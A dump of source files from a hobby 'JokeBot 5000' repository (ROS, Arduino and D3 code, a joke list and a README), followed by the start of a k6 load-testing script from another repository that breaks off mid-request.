var replaceMent = '';
for (var j = 0; j < number.length; j++) {
originalNumber = originalNumber + number[j];
if (number[j] === '.') {
periodFound = true;
} else {
if (periodFound) {
postPeriod = postPeriod + number[j];
} else {
prePeriod = prePeriod + number[j];
}
}
}
if (periodFound) {
replacements.push([originalNumber, toWords(prePeriod) + ' point ' + toWords(postPeriod)]);
} else {
replacements.push([originalNumber, toWords(prePeriod)]);
}
return replacements;
}
/**
* Collects characters of a number ex 70.5
* @param {Array} charArray of complete text
* @param {Integer} index of outer loop
* @param {Integer} indexIncrease tracks amout to increase outer index
* @param {Array} numberChars characters in the current number
* @return {Integer} indexIncrease
*/
var processCharacter = function(charArray, index, indexIncrease, numberChars) {
var offSet = numberChars.length;
if (isNumeric(charArray[index + offSet]) || charArray[index + offSet] === '.') {
numberChars.push(charArray[index + offSet]);
indexIncrease = indexIncrease + 1;
indexIncrease = processCharacter(charArray, index, indexIncrease, numberChars)
} else {
indexIncrease--;
}
return indexIncrease;
}
function isNumeric(n) {
return !isNaN(parseFloat(n)) && isFinite(n);
}
var translateWindDirection = function(weatherResponse) {
weatherResponse = weatherResponse.replace(' N ', ' NORTH ');
weatherResponse = weatherResponse.replace(' NNE ', ' NORTH NORTH EAST ');
weatherResponse = weatherResponse.replace(' NE ', ' NORTH EAST ');
weatherResponse = weatherResponse.replace(' ENE ', ' EAST NORTH EAST ');
weatherResponse = weatherResponse.replace(' E ', ' EAST ');
weatherResponse = weatherResponse.replace(' ESE ', ' EAST SOUTH EAST ');
weatherResponse = weatherResponse.replace(' SE ', ' SOUTH EAST ');
weatherResponse = weatherResponse.replace(' SSE ', ' SOUTH SOUTH EAST ');
weatherResponse = weatherResponse.replace(' S ', ' SOUTH ');
weatherResponse = weatherResponse.replace(' SSW ', ' SOUTH SOUTH WEST ');
weatherResponse = weatherResponse.replace(' SW ', ' SOUTH WEST ');
weatherResponse = weatherResponse.replace(' WSW ', ' WEST SOUTH WEST ');
weatherResponse = weatherResponse.replace(' W ', ' WEST ');
weatherResponse = weatherResponse.replace(' WNW ', ' WEST NORTH WEST ');
weatherResponse = weatherResponse.replace(' NW ', ' NORTH WEST ');
weatherResponse = weatherResponse.replace(' NNW ', ' NORTH NORTH WEST ');
return weatherResponse;
}
//ES5 http://stackoverflow.com/questions/14766951/convert-digits-into-words-with-javascript
var toWords = function toWords(n) {
if (n == 0) return 'zero';
var a = ['', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen'];
var b = ['', '', 'twenty', 'thirty', 'fourty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety'];
var g = ['', 'thousand', 'million', 'billion', 'trillion', 'quadrillion', 'quintillion', 'sextillion', 'septillion', 'octillion', 'nonillion'];
var grp = function grp(n) {
return ('000' + n).substr(-3);
};
var rem = function rem(n) {
return n.substr(0, n.length - 3);
};
var fmt = function fmt(_ref) {
var h = _ref[0];
var t = _ref[1];
var o = _ref[2];
return [Number(h) === 0 ? '' : a[h] + ' hundred ', Number(o) === 0 ? b[t] : b[t] && b[t] + '-' || '', a[t + o] || a[o]].join('');
};
var cons = function cons(xs) {
return function (x) {
return function (g) {
return x ? [x, g && ' ' + g || '', ' ', xs].join('') : xs;
};
};
};
var iter = function iter(str) {
return function (i) {
return function (x) {
return function (r) {
if (x === '000' && r.length === 0) return str;
return iter(cons(str)(fmt(x))(g[i]))(i + 1)(grp(r))(rem(r));
};
};
};
};
return iter('')(0)(grp(String(n)))(rem(String(n)));
};
<file_sep>var data = {
jokes: [{
"joke": "What did the finger say to the thumb?",
"repeatJoke": "I do not know what did the finger say to the thumb?",
"punchLine": "I am in glove with you"
}, {
"joke": "What happens to a frog's car when it breaks down?",
"repeatJoke": "I do not know what happens to a frog's car when it breaks down?",
"punchLine": "It gets toad away."
}, {
"joke": "What did the duck say when he bought lipstick?",
"repeatJoke": "I do not know what did the duck say when he bought lipstick?",
"punchLine": "Put it on my bill."
}, {
"joke": "What do you call a pig that does karate?",
"repeatJoke": "I do not know What do you call a pig that does karate?",
"punchLine": " A pork chop."
}, {
"joke": "What starts with E, ends with E, and has only 1 letter in it?",
"repeatJoke": "I do not know what starts with E, ends with E, and has only 1 letter in it?",
"punchLine": "Envelope. "
}, {
"joke": "What do computers eat for a snack?",
"repeatJoke": "I do not know what do computers eat for a snack?",
"punchLine": "Microchips."
}, {
"joke": "How do trees access the internet?",
"repeatJoke": "I do not know how do trees access the internet?",
"punchLine": "They log in."
}, {
"joke": "What is the tallest building in the entire world? ",
"repeatJoke": "I do not know what is the tallest building in the entire world?",
"punchLine": "The library, because it has so many stories."
}, {
"joke": "What nails do carpenters hate to hit?",
"repeatJoke": "I do not know what nails do carpenters hate to hit?",
"punchLine": "Fingernails."
}, {
"joke": "Why couldn't the leopard play hide and seek? ",
"repeatJoke": "I do not know why couldn't the leopard play hide and seek? ",
"punchLine": "Because he was always spotted."
}, {
"joke": "Why is the barn so noisy? ",
"repeatJoke": "I do not know why is the barn so noisy?",
"punchLine": "Because the cows have horns."
}, {
"joke": "What did the banana say to the doctor?",
"repeatJoke": "I do not know what did the banana say to the doctor?",
"punchLine": "I'm not peeling well."
}, {
"joke": "What has more lives than a cat?",
"repeatJoke": "I do not know what has more lives than a cat?",
"punchLine": "A frog because it croaks every night. ."
}, {
"joke": "What stays in one corner but travels around the world?",
"repeatJoke": "I do not know What stays in one corner but travels around the world?",
"punchLine": "A stamp."
}, {
"joke": "Where do pencils go for vacation?",
"repeatJoke": "I do not know Where do pencils go for vacation?",
"punchLine": "Pencil-vania."
}, {
"joke": "What did the mushroom say to the fungus?",
"repeatJoke": "I do not know What did the mushroom say to the fungus?",
"punchLine": "You're a fun guy."
}, {
"joke": "What's the difference between a guitar and a fish?",
"repeatJoke": "I do not know What's the difference between a guitar and a fish?",
"punchLine": "You can't tuna fish"
}, {
"joke": "What do lawyers wear to court?",
"repeatJoke": "I do not know What do lawyers wear to court?",
"punchLine": "Lawsuits!"
}, {
"joke": "Why does a chicken coop have two doors?",
"repeatJoke": "I do not know Why does a chicken coop have two doors?",
"punchLine": "If it had four, it would be a chicken sedan."
}, {
"joke": "What do you call a parade of rabbits hopping backwards?",
"repeatJoke": "I do not know What do you call a parade of rabbits hopping backwards?",
"punchLine": "a receding hare-line."
}, {
"joke": "What do you call an old snowman?",
"repeatJoke": "I do not know What do you call an old snowman?",
"punchLine": "Water!"
}, {
"joke": "What’s the difference between a cat and a comma?",
"repeatJoke": "I do not know What’s the difference between a cat and a comma?",
"punchLine": "A cat has claws at the end of paws; A comma is a pause at the end of a clause."
}, {
"joke": "How do you know when the moon has enough to eat?",
"repeatJoke": "I do not know How do you know when the moon has enough to eat?",
"punchLine": "When it’s full."
}, {
"joke": "What did the judge ask when he went to the dentist?",
"repeatJoke": "I do not know What did the judge ask when he went to the dentist?",
"punchLine": "Do you swear to pull the tooth, the whole tooth and nothing but the tooth?"
}, {
"joke": "Why did the chicken cross the playground?",
"repeatJoke": "I do not know Why did the chicken cross the playground?",
"punchLine": "To get to the other slide"
} , {
"joke": "How come oysters never donate to charity?",
"repeatJoke": "I do not know How come oysters never donate to charity?",
"punchLine": "Because they are shellfish."
}, {
"joke": "What kind of key opens a banana?",
"repeatJoke": "I do not know What kind of key opens a banana?",
"punchLine": "A monkey."
}, {
"joke": "Why do the French eat snails?",
"repeatJoke": "I do not know Why do the French eat snails?",
"punchLine": "They do not like fast food."
}, {
"joke": "Why did the dinosaur cross the road?",
"repeatJoke": "I do not know Why did the dinosaur cross the road?",
"punchLine": "Chickens did not exist yet."
}]
};
<file_sep>Jokebot 5000
===============
Introduction:
-----------
Jokebot 5000 is an application that serves as an exploration playground around the following items:
- Robot Operating System (ROS)
- Arduino
- D3 JS
Setup and Prerequisites
----------------
- Ubuntu 14.04 LTS:
http://howtoubuntu.org/how-to-install-ubuntu-14-04-trusty-tahr
- ROS Indigo:
http://wiki.ros.org/indigo/Installation/Ubuntu
- Arduino IDE: https://www.youtube.com/watch?v=wh6StlwDBo0
<file_sep>/*
rosserial Publisher Example
http://luckylarry.co.uk/arduino-projects/arduino-using-a-sharp-ir-sensor-for-distance-calculation/
http://wiki.ros.org/roslibjs/Tutorials/BasicRosFunctionality
http://wiki.ros.org/rosserial_arduino/Tutorials/Hello%20World
*/
#include <ros.h>
#include <std_msgs/String.h>
#include <IRremote.h> // Include the IRremote library
const int IRpin = 1;
const byte switchJoke = 8;
const byte switchApplause = 5;
const byte switchCrickets = 7;
const byte switchNone = 6;
const byte switchWeather = 9;
const char INTRO[6] = "INTRO";
const char TELL_JOKE[10] = "TELL_JOKE";
const char APPLAUSE[9] = "APPLAUSE";
const char CRICKETS[9] = "CRICKETS";
const char NONE[5] = "NONE";
const char WEATHER[8] = "WEATHER";
const char GREETING[9] = "GREETING";
const uint16_t BUTTON_POWER = 0xD827; // i.e. 0x10EFD827
int count = 0;
unsigned long last_time_in_range;
/* Connect the output of the IR receiver diode to pin 11. */
int RECV_PIN = 11;
/* Initialize the irrecv part of the IRremote library */
IRrecv irrecv(RECV_PIN);
decode_results results; // This will store our IR received codes
uint16_t lastCode = 0; // This keeps track of the last code RX'd
ros::NodeHandle nh;
std_msgs::String str_msg;
ros::Publisher chatter("chatter", &str_msg);
void setup()
{
//Serial.begin(57600);
nh.initNode();
nh.advertise(chatter);
pinMode (switchJoke, INPUT);
pinMode (switchWeather, INPUT);
irrecv.enableIRIn(); // Start the receiver
}
void loop()
{
if (irrecv.decode(&results))
{
/* read the RX'd IR into a 16-bit variable: */
uint16_t resultCode = (results.value & 0xFFFF);
/* The remote will continue to spit out 0xFFFFFFFF if a
button is held down. If we get 0xFFFFFFF, let's just
assume the previously pressed button is being held down */
if (resultCode == 0xFFFF)
resultCode = lastCode;
else
lastCode = resultCode;
if(resultCode == BUTTON_POWER) {
delay (1000);
str_msg.data = GREETING;
chatter.publish( &str_msg );
nh.spinOnce();
}
irrecv.resume(); // Receive the next value
}
if (digitalRead (switchJoke) == HIGH)
{
//Serial.println ("Switch closed.");
delay (1000);
str_msg.data = TELL_JOKE;
chatter.publish( &str_msg );
nh.spinOnce();
}
if (digitalRead (switchApplause) == HIGH)
{
//Serial.println ("Switch closed.");
delay (1000);
str_msg.data = APPLAUSE;
chatter.publish( &str_msg );
nh.spinOnce();
}
if (digitalRead (switchCrickets) == HIGH)
{
//Serial.println ("Switch closed.");
delay (1000);
str_msg.data = CRICKETS;
chatter.publish( &str_msg );
nh.spinOnce();
}
if (digitalRead (switchNone) == HIGH)
{
//Serial.println ("Switch closed.");
delay (1000);
str_msg.data = NONE;
chatter.publish( &str_msg );
nh.spinOnce();
}
if (digitalRead (switchWeather) == HIGH)
{
//Serial.println ("Switch closed.");
delay (1000);
str_msg.data = WEATHER;
chatter.publish( &str_msg );
nh.spinOnce();
}
float volts = analogRead(IRpin) * 0.0048828125;
float distance = 65 * pow(volts, -1.10);
// rosserial will not run if code has Serial statements
// only use for debugging
//Serial.println(distance);
int intDist = (int)distance;
//Serial.print("intDist");
//Serial.println(intDist);
//Serial.println(intDist < 100);
// If I get three hits less than 150 away
// in less than half a second then fire a message to the topic
if (intDist < 150) {
count++;
if (count == 1) {
last_time_in_range = millis();
}
if (count == 3) {
//Serial.println("count == 2");
if (millis() - last_time_in_range < 500) {
//Serial.println("count == 2 && < 500");
str_msg.data = INTRO;
chatter.publish( &str_msg );
nh.spinOnce();
} else {
//Serial.println("count == 2 && >= 500");
}
count = 0;
}
} else {
//Serial.println("Greater Than 100");
}
delay(100);
}
<file_sep>'use strict';
const INTRO = 'INTRO';
const TELL_JOKE = 'TELL_JOKE';
const CRICKETS = 'CRICKETS';
const APPLAUSE = 'APPLAUSE';
const NONE = 'NONE';
const WEATHER = 'WEATHER';
const GREETING = 'GREETING';
const MOVE_LEFT = 'MOVE_LEFT';
const MOVE_RIGHT = 'MOVE_RIGHT';
// https://bl.ocks.org/mbostock/5872848
var dispatch = d3.dispatch("speak", "speakRepeat", "drummer");
var startJoke = function(duration) {
dispatch.speak({
"duration": duration
});
}
var triggerJokeRepeat = function() {
document.querySelector(".repeatJoke").click();
}
var startJokeRepeat = function(duration, shiftRobots) {
if (shiftRobots === 'true') {
weatherRobotShift();
}
dispatch.speakRepeat({
"duration": duration
});
}
var triggerPunchLine = function() {
document.querySelector(".punchLine").click();
}
var startPunchLine = function(duration) {
dispatch.speak({
"duration": duration
});
}
var triggerGreetingResponse = function() {
document.querySelector(".greetingResponse").click();
}
// var startGreetingResponse = function(duration) {
// dispatch.speak({
// "duration": duration
// });
// }
var triggerRosieResponse = function() {
document.querySelector(".rosieResponse").click();
}
// var startRosieResponse = function(duration) {
// dispatch.speakRepeat({
// "duration": duration
// });
// }
var triggerJokeBotAngry = function() {
document.querySelector(".jokeBotAngry").click();
}
// var startJokeBotAngry = function(duration) {
// dispatch.speak({
// "duration": duration
// });
// }
var triggerFinalWord = function() {
document.querySelector(".finalWord").click();
}
var rimShot = function() {
dispatch.drummer({
"test": "this is a test"
});
document.getElementById("rimShot").play();
}
var crickets = function() {
document.getElementById("crickets").play();
}
var applause = function() {
document.getElementById("applause").play();
}
var showKeyOptions = function() {
alert( "Type 'j' to hear a joke. \nType 'y' if you like the joke. \nType 'n' if you don't like the joke.\nType 'w' for the weather." +
' \n\nNote: To see these options later click on any of the robots' +
' \n\nNote: Weather requires an https://www.wunderground.com/ API key added to config.js. \n\n');
}
// Connecting to ROS
// -----------------
// var ros = new ROSLIB.Ros({
// url: 'ws://localhost:9090'
// });
// ros.on('connection', function() {
// //console.log('Connected to websocket server.');
// });
//
// ros.on('error', function(error) {
// //console.log('Error connecting to websocket server: ', error);
// showKeyOptions();
// });
//
// ros.on('close', function() {
// //console.log('Connection to websocket server closed.');
// });
// Subscribing to a Topic
// ----------------------
// var listener = new ROSLIB.Topic({
// ros: ros,
// name: '/chatter',
// messageType: 'std_msgs/String'
// });
var lastDate = new Date((new Date()).getTime() - 10000);
var lastJokeDate = new Date((new Date()).getTime() - 1000);
var lastWeatherDate = new Date((new Date()).getTime() - 1000);
document.addEventListener('keydown', handleKeyDown);
listener.subscribe(handleEvent);
/**
* Handles keyboard events.
* @param {Object} e
*/
function handleKeyDown(e){
var message = {
data: NONE
};
switch(e.which) {
//j
case 74:
message.data = TELL_JOKE;
break;
//y
case 89:
message.data = APPLAUSE;
break;
//n
case 78:
message.data = CRICKETS;
break;
//w
case 87:
message.data = WEATHER;
break;
//g
case 71:
message.data = GREETING;
break;
//spacebar
case 32:
message.data = INTRO;
break;
}
handleEvent(message, true);
}
/**
* Handles arduino or keyboard type event.
* @param {Object} message
* @param {Boolean} isKeyEvent
*/
function handleEvent(message, isKeyEvent){
var voiceTypeMale = '"UK English Male",';
var voiceTypeFemale = '"UK English Female",';
console.log('message.data', message.data);
removeExistingListners();
if (message.data === TELL_JOKE && (lastJokeDate.getTime() + 1000) < new Date()) {
//console.log('in TELL_JOKE');
var shiftRobots = false;
lastJokeDate = new Date();
lastDate = new Date();
var nextJokeIndex = Math.floor((Math.random() * data.jokes.length));
var onClickJoke = 'responsiveVoice.speak("' + data.jokes[nextJokeIndex].joke + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(data.jokes[nextJokeIndex].joke) + '"), onend: triggerJokeRepeat});';
var onClickRepeatJoke = 'responsiveVoice.speak("' + data.jokes[nextJokeIndex].repeatJoke + '", ' + voiceTypeFemale +
'{onstart: startJokeRepeat("' + calculateJokeDuration(data.jokes[nextJokeIndex].repeatJoke) + '","' + shiftRobots + '"), onend: triggerPunchLine});';
var onClickPunchLine = 'responsiveVoice.speak("' + data.jokes[nextJokeIndex].punchLine + '", ' + voiceTypeMale +
'{onstart: startPunchLine("' + calculateJokeDuration(data.jokes[nextJokeIndex].punchLine) + '"),onend: rimShot});';
document.querySelector(".joke").setAttribute("onclick", onClickJoke);
document.querySelector(".repeatjoke").setAttribute("onclick", onClickRepeatJoke);
document.querySelector(".punchLine").setAttribute("onclick", onClickPunchLine);
document.querySelector(".joke").click();
}
if (message.data === CRICKETS) {
lastDate = new Date();
crickets();
}
if (message.data === APPLAUSE) {
lastDate = new Date();
applause();
}
if (message.data === NONE) {
var shiftRobots = false;
lastDate = new Date();
var jokeBotText = "That button does nothing but if it makes you feel good please keep pushing it."
var rosieText = "Ha ha ha good one JokeBot. humans"
var onClickJoke = 'responsiveVoice.speak("' + jokeBotText + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(jokeBotText) + '"), onend: triggerJokeRepeat});';
var onClickRepeatJoke = 'responsiveVoice.speak("' + rosieText + '", ' + voiceTypeFemale +
'{onstart: startJokeRepeat("' + calculateJokeDuration(rosieText) + '","' + shiftRobots + '")});';
document.querySelector(".joke").setAttribute("onclick", onClickJoke);
document.querySelector(".repeatjoke").setAttribute("onclick", onClickRepeatJoke);
document.querySelector(".joke").click();
}
if (message.data === GREETING) {
var shiftRobots = false;
lastDate = new Date();
var jokeBotText = "I am joke bot 5000! Good morning Brandon.";
var rosieText = "Good morning Brandon";
var jokeBotResponse = "I already said good morning to Brandon." +
"There is not need for you to say good morning to Brandon.";
var rosieResponse = "If I want to say good morning to Brandon I will say good morning to Brandon";
var jokeBotAngry = "I am joke bot 5000!";
var finalWord = "yeah, yeah, yeah, well anyway it is very nice to see you Brandon!"
var onClickJoke = 'responsiveVoice.speak("' + jokeBotText + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(jokeBotText) + '"), onend: triggerJokeRepeat});';
var onClickRepeatJoke = 'responsiveVoice.speak("' + rosieText + '", ' + voiceTypeFemale +
'{onstart: startJokeRepeat("' + calculateJokeDuration(rosieText) + '","' + shiftRobots + '"), onend: triggerGreetingResponse});';
var onClickGreetingResponse = 'responsiveVoice.speak("' + jokeBotResponse + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(jokeBotResponse) + '"), onend: triggerRosieResponse});';
var onClickRosieResponse = 'responsiveVoice.speak("' + rosieResponse + '", ' + voiceTypeFemale +
'{onstart: startJokeRepeat("' + calculateJokeDuration(rosieResponse) + '","' + shiftRobots + '"), onend: triggerJokeBotAngry});';
var onClickJokeBotAngry = 'responsiveVoice.speak("' + jokeBotAngry + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(jokeBotAngry) + '"), onend: triggerFinalWord});';
var onClickFinalWord = 'responsiveVoice.speak("' + finalWord + '", ' + voiceTypeFemale +
'{rate: 1, onstart: startJokeRepeat("' + calculateJokeDuration(finalWord) + '")});';
document.querySelector(".joke").setAttribute("onclick", onClickJoke);
document.querySelector(".repeatjoke").setAttribute("onclick", onClickRepeatJoke);
document.querySelector(".greetingResponse").setAttribute("onclick", onClickGreetingResponse);
document.querySelector(".rosieResponse").setAttribute("onclick", onClickRosieResponse);
document.querySelector(".jokeBotAngry").setAttribute("onclick", onClickJokeBotAngry);
document.querySelector(".finalWord").setAttribute("onclick", onClickFinalWord);
document.querySelector(".joke").click();
}
if (message.data === WEATHER && (lastWeatherDate.getTime() + 1000) < new Date()) {
//console.log('in WEATHER');
var shiftRobots = true;
lastWeatherDate = new Date();
lastDate = new Date();
var weatherCB = function(weatherText) {
weatherText = 'Oh JokeBot you know I can not control the weather ' + weatherText;
var weatherIntro = 'Here is Rosie with the weather. I hope you are not going to ruin my golf game tomorrow'
var onClickJoke = 'responsiveVoice.speak("' + weatherIntro + '", ' + voiceTypeMale +
'{rate: 1, onstart: startJoke("' + calculateJokeDuration(weatherIntro) + '"), onend: triggerJokeRepeat});';
var onClickRepeatJoke = 'responsiveVoice.speak("' + weatherText + '", ' + voiceTypeFemale +
'{onstart: startJokeRepeat("' + calculateJokeDuration(weatherText) + '","' + shiftRobots + '")});';
// var onClickJoke = 'responsiveVoice.speak("' + weatherText + '", ' + voiceTypeFemale +
// '{onstart: startJokeRepeat("' + calculateJokeDuration(weatherText) + '")});';
document.querySelector(".joke").setAttribute("onclick", onClickJoke);
document.querySelector(".repeatjoke").setAttribute("onclick", onClickRepeatJoke);
document.querySelector(".joke").click();
}
getWeather(weatherCB);
}
//listener.unsubscribe();
if (message.data === INTRO && (lastDate.getTime() + 60000) < new Date() || message.data === INTRO && isKeyEvent) {
lastDate = new Date();
document.querySelector(".intro").click();
var duration = 22;
dispatch.speak({
"duration": duration
});
}
if (message.data === MOVE_LEFT) {
console.log("move left");
}
if (message.data === MOVE_RIGHT) {
console.log("move right");
}
}
function removeExistingListners() {
document.querySelector(".joke").removeAttribute("onclick");
document.querySelector(".repeatjoke").removeAttribute("onclick");
document.querySelector(".greetingResponse").removeAttribute("onclick");
document.querySelector(".rosieResponse").removeAttribute("onclick");
document.querySelector(".jokeBotAngry").removeAttribute("onclick");
document.querySelector(".finalWord").removeAttribute("onclick");
}
function calculateJokeDuration(text) {
var result = Math.floor(text.length/2.5);
//make sure it is an even number
var rem = result % 2;
if(rem > 0) {
result = result + 1;
}
return result;
}
<file_sep>
function loadRobotOne() {
var robotOneGroup = svgContainer.append("g").attr("id", "robotOneGroup");
robotOneGroup.on('click', showKeyOptions);
var robotOneGroupHead = robotOneGroup.append("g").attr("id", "robotOneGroupHead");
var robotOneGroupBody = robotOneGroup.append("g");
var leftAntena = buildAndAppendPath(robotOneGroupHead, buildLineData(440, 170, 415, 130), "#999999", 6, "leftAntenaGraph", "");
var leftAntenaCircle = buildAndAppendCircle(robotOneGroupHead, 415, 130, 12, "leftAntenaCircle", "#e69500", 1);
var leftAntenaBoltData1 = buildXYPointObjectArray([[390, 130],[360,150],[340,130],[325,150],[315,130],[310,150]]);
var robotOneLeftAntenaBoltLineGraph1 = buildAndAppendPath(robotOneGroupHead, leftAntenaBoltData1, "white", 3, "robotOneLeftAntenaBoltLineGraph1", "none");
var leftAntenaBoltData2 = buildXYPointObjectArray([[420, 110],[435,95],[425,75],[440,60],[430,50],[445,45]]);
var robotOneLeftAntenaBoltLineGraph2 = buildAndAppendPath(robotOneGroupHead, leftAntenaBoltData2, "white", 3, "robotOneLeftAntenaBoltLineGraph2", "none");
var rightAntena = buildAndAppendPath(robotOneGroupHead, buildLineData(560, 170, 585, 130), "#999999", 6, "rightAntenaGraph", "none");
var rightAntenaCircle = buildAndAppendCircle(robotOneGroupHead, 585, 130, 12, "rightAntenaCircle", "#e69500", 1);
var rightAntenaBoltData1 = buildXYPointObjectArray([[610, 130],[635,150],[660,140],[685,160],[710,150],[735,170]]);
var robotOneRightAntenaBoltLineGraph1 = buildAndAppendPath(robotOneGroupHead, rightAntenaBoltData1, "white", 3, "robotOneRightAntenaBoltLineGraph1", "none");
var rightAntenaBoltData2 = buildXYPointObjectArray([[585, 100],[600,75],[580,55],[600,40],[580,30],[600,15]]);
var robotOneRightAntenaBoltLineGraph2 = buildAndAppendPath(robotOneGroupHead, rightAntenaBoltData2, "white", 3, "robotOneRightAntenaBoltLineGraph2", "none");
var robotOneHead = buildAndAppendCircle(robotOneGroupHead, 500, 285, 135, "robotOneHead", "#cce6ff", 1);
var robotOneHeadHide = buildAndAppendRect(robotOneGroupHead, 365, 270, 269, 30, "robotOneHeadHide", "white", 1);
var robotOneSpeaker = buildAndAppendPath(robotOneGroupHead, buildLineData(365, 285, 634, 285), "yellow", 30, "robotOneSpeaker", "none");
var robotOneHeadLeftEye = buildAndAppendCircle(robotOneGroupHead, 440, 215, 20, "robotOneHeadLeftEye", "white", 1);
var robotOneHeadRightEye = buildAndAppendCircle(robotOneGroupHead, 560, 215, 20, "robotOneHeadRightEye", "white", 1);
var robotOneHeadLeftEyePupil = buildAndAppendCircle(robotOneGroupHead, 440, 215, 12, "robotOneHeadLeftEyePupil", "black", 1);
var robotOneHeadRightEyePupil = buildAndAppendCircle(robotOneGroupHead, 560, 215, 12, "robotOneHeadRightEyePupil", "black", 1);
var robotOneBody = buildAndAppendRect(robotOneGroupBody, 350, 300, 300, 200, "robotOneBody", "#cce6ff", 1);
var robotOneGroupLeftLeg = robotOneGroup.append("g");
var robotOneLeftLeg1 = buildAndAppendCircle(robotOneGroupLeftLeg, 430, 530, 30, "robotOneLeftLeg1", "999999", 1);
var robotOneLeftLeg2 = buildAndAppendCircle(robotOneGroupLeftLeg, 410, 585, 30, "robotOneLeftLeg2", "999999", 1);
var robotOneleftLeg3 = buildAndAppendCircle(robotOneGroupLeftLeg, 410, 640, 30, "robotOneLeftLeg1", "999999", 1);
var robotOneLeftLegFoot = buildAndAppendCircle(robotOneGroupLeftLeg, 410, 715, 50, "robotOneLeftLegFoot", "#e69500", 1);
var robotOneLeftLegFootHide = buildAndAppendRect(robotOneGroupLeftLeg, 360, 700, 100, 100, "robotOneLeftLegFootHide", "white", 1);
var robotOneGroupRightLeg = robotOneGroup.append("g");
var robotOneRightLeg1 = buildAndAppendCircle(robotOneGroupRightLeg, 570, 530, 30, "robotOneRightLeg1", "999999", 1);
var robotOneRightLeg2 = buildAndAppendCircle(robotOneGroupRightLeg, 590, 585, 30, "robotOneRightLeg2", "999999", 1);
var robotOneRightLeg3 = buildAndAppendCircle(robotOneGroupRightLeg, 590, 640, 30, "robotOneRightLeg3", "999999", 1);
var robotOneRightLegFoot = buildAndAppendCircle(robotOneGroupRightLeg, 590, 715, 50, "robotOneRightLegFoot", "#e69500", 1);
var robotOneRightLegFootHide = buildAndAppendRect(robotOneGroupRightLeg, 540, 700, 100, 100, "robotOneRightLegFootHide", "white", 1);
var robotOneGroupLeftArm = robotOneGroup.append("g");
var robotOneLeftArm1 = buildAndAppendCircle(robotOneGroupLeftArm, 320, 340, 30, "robotOneLeftArm1", "#999999", 1);
var robotOneLeftArm2 = buildAndAppendCircle(robotOneGroupLeftArm, 290, 390, 30, "robotOneLeftArm2", "#999999", 1);
var robotOneleftArm3 = buildAndAppendCircle(robotOneGroupLeftArm, 253, 435, 30, "robotOneleftArm3", "#999999", 1);
var robotOneLeftArmHand = buildAndAppendCircle(robotOneGroupLeftArm, 207, 478, 35, "robotOneLeftArmHand", "#e69500", 1);
var robotOneLeftArmHandHide = buildAndAppendCircle(robotOneGroupLeftArm, 190, 488, 30, "robotOneLeftArmHandHide", "white", 1);
var robotOneGroupRightArm = robotOneGroup.append("g");
var robotOneRightArm1 = buildAndAppendCircle(robotOneGroupRightArm, 680, 340, 30, "robotOneRightArm1", "#999999", 1);
var robotOneRightArm2 = buildAndAppendCircle(robotOneGroupRightArm, 735, 357, 30, "robotOneRightArm2", "#999999", 1);
var robotOneRightArm3 = buildAndAppendCircle(robotOneGroupRightArm, 790, 374, 30, "robotOneRightArm3", "#999999", 1);
var robotOneRightArmHand = buildAndAppendCircle(robotOneGroupRightArm, 848, 400, 35, "robotOneRightArmHand", "#e69500", 1);
var robotOneRightArmHandHide = buildAndAppendCircle(robotOneGroupRightArm, 863, 406, 30, "robotOneRightArmHandHide", "white", 1);
var robotOneLightSection = robotOneGroup.append("g");
var robotOneLightPanel = buildAndAppendRect(robotOneLightSection, 360, 310, 60, 100, "robotOneLightPanel", "#cce6ff", 1);
var randomizer = [];
randomizer.push(Array.apply(null, Array(125)).map(Number.prototype.valueOf,1));
randomizer.push(Array.apply(null, Array(125)).map(Number.prototype.valueOf,2));
randomizer.push(Array.apply(null, Array(125)).map(Number.prototype.valueOf,3));
randomizer.push(Array.apply(null, Array(125)).map(Number.prototype.valueOf,4));
console.log('randomizer', randomizer);
var rateAdjuster = 0;
var y = new Array(17);
for (var i = 0; i < y.length; i++) {
y[i] = new Array(27);
for (var j = 0; j < y[i].length; j++) {
// builds base circle that has the robot's normal blue background color but with a thin border
buildAndAppendCircle(robotOneLightSection, 370 + (j * 10), 320 + (i * 10), 4, id, "#cce6ff", 1)
.attr("stroke", "#808080")
.attr("stroke-width", .20);
// builds the white circles that blink
var id = "lightr" + i + "c" + j
y[i][j] = buildAndAppendCircle(robotOneLightSection, 370 + (j * 10), 320 + (i * 10), 3, id, "white", 0)
.style("opacity", Math.floor(Math.random() * 2));
setBlinkRate(id, randomizer, rateAdjuster);
}
// rateAdjuster: stops rolling blink effect caused by the time it takes to loop through all lights.
// Before the adjustment the lights don't blink simultaneously but instead appear to roll down the screen
rateAdjuster = rateAdjuster + 50;
}
robotOneGroup.attr("transform", "translate(150, 75)");
}
var setBlinkRate = function(id, randomizer, rateAdjuster) {
var delay = 0;
var index = Math.floor(Math.random() * (randomizer.length));
delay = randomizer[index].pop() * 3000;
console.log('delay', delay);
if (randomizer[index].length === 0) {
randomizer.splice(index, 1);
}
for (var i=1; i < 40; i++) {
if(i === 1) {
delay = delay - rateAdjuster;
}
d3.select("#" + id).transition().delay(delay).duration(200).style("opacity", 1);
d3.select("#" + id).transition().delay(delay + 3000).duration(200).style("opacity", 0);
delay = delay + 12000;
}
};
| 1ae3837d2ae1b6f4ccd1549cb111397abe8ac49b | [
"JavaScript",
"C++",
"Markdown"
] | 8 | JavaScript | dbrown725/JokeBot5000 | e9c270d8c7bbe30c128ce186f914b44274746300 | ca8d9c29863776bf2fd6428c5389aeb5e5143a69 |
refs/heads/master | <file_sep># k6-performance-testing-example
<file_sep>import { group, sleep } from 'k6';
import http from 'k6/http';
// Version: 1.2
// Creator: WebInspector
export let options = {
maxRedirects: 0,
};
export default function() {
group("page_3 - https://www.christopheradams.com/", function() {
let req, res;
req = [{
"method": "get",
"url": "https://www.christopheradams.com/",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Upgrade-Insecure-Requests": "1",
